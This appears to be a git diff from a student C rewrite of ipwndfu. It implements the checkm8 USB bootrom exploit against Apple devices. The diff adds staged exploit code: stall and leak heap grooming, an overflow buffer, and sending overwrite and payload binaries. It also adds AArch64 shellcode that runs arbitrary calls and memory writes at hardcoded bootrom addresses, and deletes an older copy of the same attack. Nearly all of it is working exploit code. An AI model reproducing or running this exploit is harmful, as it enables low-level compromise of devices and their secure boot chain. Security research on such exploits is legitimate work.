diff --git a/.idea/workspace.xml b/.idea/workspace.xml
index c99cfa3..8f6f695 100644
--- a/.idea/workspace.xml
+++ b/.idea/workspace.xml
@@ -12,8 +12,12 @@
-
-
+
+
+
+
+
+
@@ -24,7 +28,6 @@
-
@@ -39,6 +42,12 @@
+
+
+
+
+
+
diff --git a/CMakeLists.txt b/CMakeLists.txt
index f397ffd..8d66ffd 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -4,5 +4,7 @@ project(ipwndfu_rewrite_c C)
set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS -g)
-add_executable(ipwndfu exploit/main.c exploit/libusb_helpers.c exploit/libusb_helpers.h)
+add_executable(ipwndfu main.c
+ exploit/libusb_helpers.c exploit/libusb_helpers.h
+ exploit/exploit_helpers.c exploit/checkm8.h)
target_link_libraries(ipwndfu usb-1.0)
diff --git a/exploit/checkm8.h b/exploit/checkm8.h
new file mode 100644
index 0000000..7377c12
--- /dev/null
+++ b/exploit/checkm8.h
@@ -0,0 +1,6 @@
+#ifndef IPWNDFU_REWRITE_C_CHECKM8_H
+#define IPWNDFU_REWRITE_C_CHECKM8_H
+
+int exploit_device();
+
+#endif //IPWNDFU_REWRITE_C_CHECKM8_H
diff --git a/exploit/exploit_helpers.c b/exploit/exploit_helpers.c
new file mode 100644
index 0000000..9a292c1
--- /dev/null
+++ b/exploit/exploit_helpers.c
@@ -0,0 +1,138 @@
+#include
+#include
+#include
+
+#include "checkm8.h"
+#include "libusb_helpers.h"
+
+int complete_stage(int stage_function(struct libusb_device_bundle *bundle))
+{
+ int ret;
+
+ libusb_context *usb_ctx = NULL;
+ struct libusb_device_bundle usb_bundle;
+ struct libusb_device_handle *usb_handle;
+ struct libusb_device_descriptor usb_desc;
+
+ libusb_init(&usb_ctx);
+ get_test_device(usb_ctx, &usb_bundle);
+
+ if(usb_bundle.handle == NULL)
+ {
+ libusb_exit(usb_ctx);
+ printf("Could not find device\n");
+ return 1;
+ }
+
+ ret = libusb_set_auto_detach_kernel_driver(usb_bundle.handle, 1);
+ if(ret > 0)
+ {
+ printf("%s\n", libusb_error_name(ret));
+ return ret;
+ }
+
+ ret = stage_function(&usb_bundle);
+
+ libusb_close(usb_bundle.handle);
+ libusb_exit(usb_ctx);
+ return ret;
+}
+
+int stage1_function(struct libusb_device_bundle *bundle)
+{
+ printf("~~~ Exploit stage 1 ~~~\n");
+ unsigned int i;
+
+ stall(bundle->handle);
+ for(i = 0; i < 5; i++)
+ {
+ no_leak(bundle->handle);
+ }
+ usb_req_leak(bundle->handle);
+ no_leak(bundle->handle);
+
+ libusb_reset_device(bundle->handle);
+
+ return 0;
+}
+
+int stage2_function(struct libusb_device_bundle *bundle)
+{
+ printf("~~~ Exploit stage 2 ~~~\n");
+ unsigned char databuf[0x800];
+ memset(databuf, 'A', 0x800);
+
+ libusb1_async_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, databuf, 0x800, 1);
+ libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 4, 0, 0, NULL, 0, 0);
+
+ libusb_reset_device(bundle->handle);
+
+ return 0;
+}
+
+int stage3_function(struct libusb_device_bundle *bundle)
+{
+ printf("~~~ Exploit stage 3 ~~~\n");
+ unsigned char overwrite_buf[1524];
+ FILE *overwrite_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/exploit/bin/overwrite.bin", "r");
+ fread(overwrite_buf, 1524, 1, overwrite_file);
+ fclose(overwrite_file);
+
+ unsigned char payload_buf[2400];
+ FILE *payload_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/exploit/bin/payload.bin", "r");
+ fread(payload_buf, 2400, 1, payload_file);
+ fclose(payload_file);
+
+ usb_req_stall(bundle->handle);
+ usb_req_leak(bundle->handle);
+
+ libusb1_no_error_ctrl_transfer(bundle->handle, 0, 0, 0, 0, overwrite_buf, 1524, 100);
+ libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, payload_buf, 2048, 100);
+ libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
+
+ libusb_reset_device(bundle->handle);
+ return 0;
+}
+
+int check_function(struct libusb_device_bundle *bundle)
+{
+ unsigned char serial_buf[128];
+ unsigned int i;
+ struct libusb_device_handle *handle = bundle->handle;
+ struct libusb_device_descriptor desc = bundle->descriptor;
+
+ libusb_get_string_descriptor_ascii(handle, desc.iSerialNumber, serial_buf, sizeof(serial_buf));
+ printf("Found device with serial %s\n", serial_buf);
+
+ for(i = 0; i < 13; i++)
+ {
+ if(serial_buf[99 + i] != "PWND:[checkm8]"[i])
+ {
+ return 1;
+ }
+ }
+
+ return 0;
+}
+
+int exploit_device()
+{
+ int ret = complete_stage(stage1_function);
+ if(ret == 0)
+ {
+ ret = complete_stage(stage2_function);
+ usleep(500000);
+ }
+
+ if(ret == 0)
+ {
+ ret = complete_stage(stage3_function);
+ usleep(500000);
+ }
+
+ if(ret == 0)
+ {
+ ret = complete_stage(check_function);
+ }
+ return ret;
+}
\ No newline at end of file
diff --git a/exploit/main.c b/exploit/main.c
deleted file mode 100644
index a31b1e0..0000000
--- a/exploit/main.c
+++ /dev/null
@@ -1,124 +0,0 @@
-#include
-#include
-#include
-#include
-
-#include "libusb_helpers.h"
-
-int complete_stage(int stage_function(libusb_device_handle *handle))
-{
- int ret;
- unsigned char usb_serial_buf[128];
-
- libusb_context *usb_ctx = NULL;
- struct libusb_device_bundle usb_bundle;
- struct libusb_device_handle *usb_handle;
- struct libusb_device_descriptor usb_desc;
-
- libusb_init(&usb_ctx);
- get_test_device(usb_ctx, &usb_bundle);
-
- if(usb_bundle.handle == NULL)
- {
- libusb_exit(usb_ctx);
- printf("Could not find device\n");
- return 1;
- }
-
- usb_handle = usb_bundle.handle;
- usb_desc = usb_bundle.descriptor;
-
- libusb_get_string_descriptor_ascii(usb_handle, usb_desc.iSerialNumber, usb_serial_buf, sizeof(usb_serial_buf));
- printf("Found device with serial %s\n", usb_serial_buf);
-
- ret = libusb_set_auto_detach_kernel_driver(usb_handle, 1);
- if(ret > 0)
- {
- printf("%s\n", libusb_error_name(ret));
- return ret;
- }
-
- ret = stage_function(usb_handle);
-
- libusb_close(usb_handle);
- libusb_exit(usb_ctx);
- return ret;
-}
-
-int stage1_function(libusb_device_handle *handle)
-{
- unsigned int i;
-
- stall(handle);
- for(i = 0; i < 5; i++)
- {
- no_leak(handle);
- }
- usb_req_leak(handle);
- no_leak(handle);
-
- libusb_reset_device(handle);
-
- return 0;
-}
-
-int stage2_function(libusb_device_handle *handle)
-{
- unsigned char databuf[0x800];
- memset(databuf, 'A', 0x800);
-
- libusb1_async_ctrl_transfer(handle, 0x21, 1, 0, 0, databuf, 0x800, 1);
- libusb1_no_error_ctrl_transfer(handle, 0x21, 4, 0, 0, NULL, 0, 0);
-
- libusb_reset_device(handle);
-
- return 0;
-}
-
-int stage3_function(libusb_device_handle *handle)
-{
- unsigned char overwrite_buf[1524];
- FILE *overwrite_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/bin/overwrite.bin",
- "r");
- fread(overwrite_buf, 1524, 1, overwrite_file);
- fclose(overwrite_file);
-
- unsigned char payload_buf[2400];
- FILE *payload_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/bin/payload.bin", "r");
- fread(payload_buf, 2400, 1, payload_file);
- fclose(payload_file);
-
- usb_req_stall(handle);
- usb_req_leak(handle);
-
- libusb1_no_error_ctrl_transfer(handle, 0, 0, 0, 0, overwrite_buf, 1524, 100);
- libusb1_no_error_ctrl_transfer(handle, 0x21, 1, 0, 0, payload_buf, 2048, 100);
- libusb1_no_error_ctrl_transfer(handle, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
-
- libusb_reset_device(handle);
- return 0;
-}
-
-int check_function(libusb_device_handle *handle)
-{
- return 0;
-}
-
-int main()
-{
- int ret = complete_stage(stage1_function);
- if(ret == 0)
- {
- ret = complete_stage(stage2_function);
- usleep(500000);
- }
-
- if(ret == 0)
- {
- ret = complete_stage(stage3_function);
- usleep(500000);
- }
-
- complete_stage(check_function);
- return ret;
-}
\ No newline at end of file
diff --git a/exploit/shellcode/shellcode.c b/exploit/shellcode/shellcode.c
new file mode 100644
index 0000000..6e141bb
--- /dev/null
+++ b/exploit/shellcode/shellcode.c
@@ -0,0 +1,127 @@
+#define EXEC_MAGIC 0x6578656365786563
+#define DONE_MAGIC 0x646F6E65646F6E65
+#define MEMC_MAGIC 0x6D656D636D656D63
+#define MEMS_MAGIC 0x6D656D736D656D73
+
+unsigned long *LOAD_ADDRESS = 0x1800B0000;
+const unsigned long *USB_CORE_DO_IO = 0x10000DC98;
+
+
+unsigned long *memset_shellcode(unsigned long *target, unsigned long data, unsigned long nbytes)
+{
+ unsigned long value = (data & 0xFFu) * 0x101010101010101;
+
+ unsigned long *addr = target;
+ while(nbytes >= 8)
+ {
+ *addr = value;
+ addr++;
+ nbytes -= 8;
+ }
+
+ if(nbytes >= 4)
+ {
+ *(unsigned int *) addr = (unsigned int) value;
+ addr = (unsigned long *) (((unsigned int *) addr) + 1);
+ nbytes -= 4;
+ }
+
+ if(nbytes >= 2)
+ {
+ *(unsigned short *) addr = (unsigned short) value;
+ addr = (unsigned long *) (((unsigned short *) addr) + 1);
+ nbytes -= 2;
+ }
+
+ if(nbytes != 0)
+ {
+ *(unsigned char *) addr = (unsigned char) value;
+ }
+
+ return target;
+}
+
+unsigned long *memcpy_shellcode(unsigned long *target, unsigned long *source, unsigned long nbytes)
+{
+ unsigned long *addr = target;
+ while(nbytes >= 8)
+ {
+ *addr = *source;
+ addr++;
+ source++;
+
+ nbytes -= 8;
+ }
+
+ if(nbytes >= 4)
+ {
+ *(unsigned int *) addr = *(unsigned int *) source;
+ addr = (unsigned long *) (((unsigned int *) addr) + 1);
+ source = (unsigned long *) (((unsigned int *) source) + 1);
+
+ nbytes -= 4;
+ }
+
+ if(nbytes >= 2)
+ {
+ *(unsigned short *) addr = *(unsigned short *) source;
+ addr = (unsigned long *) (((unsigned short *) addr) + 1);
+ source = (unsigned long *) (((unsigned short *) source) + 1);
+
+ nbytes -= 2;
+ }
+
+ if(nbytes != 0)
+ {
+ *(unsigned char *) addr = *(unsigned char *) source;
+ addr = (unsigned long *) (((unsigned char *) addr) + 1);
+ source = (unsigned long *) (((unsigned char *) source) + 1);
+
+ nbytes -= 2;
+ }
+
+ return target;
+}
+
+void shellcode(unsigned short length)
+{
+ unsigned long *addr = LOAD_ADDRESS;
+ unsigned long res;
+
+ if(length + 2 == -1)
+ {
+ res = *LOAD_ADDRESS;
+ if(res == EXEC_MAGIC)
+ {
+ unsigned long
+ (*ptr)(unsigned long, unsigned long, unsigned long, unsigned long,
+ unsigned long, unsigned long, unsigned long, unsigned long) =
+ (unsigned long (*)(unsigned long, unsigned long, unsigned long, unsigned long,
+ unsigned long, unsigned long, unsigned long, unsigned long)) addr[1];
+
+ addr[0] = 0;
+ res = ptr(addr[2], addr[3], addr[4], addr[5], addr[6], addr[7], addr[8], addr[8]);
+ addr[0] = DONE_MAGIC;
+ addr[1] = res;
+ }
+ else
+ {
+ if(res == MEMC_MAGIC)
+ {
+ addr[0] = 0;
+ memcpy_shellcode(addr[2], addr[3], addr[4]);
+ addr[0] = DONE_MAGIC;
+ }
+ else if(res == MEMS_MAGIC)
+ {
+ addr[0] = 0;
+ memset_shellcode(addr[2], addr[3], addr[4]);
+ addr[0] = DONE_MAGIC;
+ }
+ }
+ }
+
+ void (*usb_core_do_io)(unsigned char, unsigned long *, unsigned short, unsigned short) =
+ (void (*)(unsigned char, unsigned long *, unsigned short, unsigned short)) USB_CORE_DO_IO;
+ usb_core_do_io(0x80, addr, length + 6, 0);
+}
diff --git a/main.c b/main.c
new file mode 100644
index 0000000..6d346e8
--- /dev/null
+++ b/main.c
@@ -0,0 +1,15 @@
+#include
+#include "exploit/checkm8.h"
+
+int main()
+{
+ int status = exploit_device();
+ if(status == 0)
+ {
+ printf("Successfully exploited device!\n");
+ }
+ else
+ {
+ printf("Failed to exploit device\n");
+ }
+}
\ No newline at end of file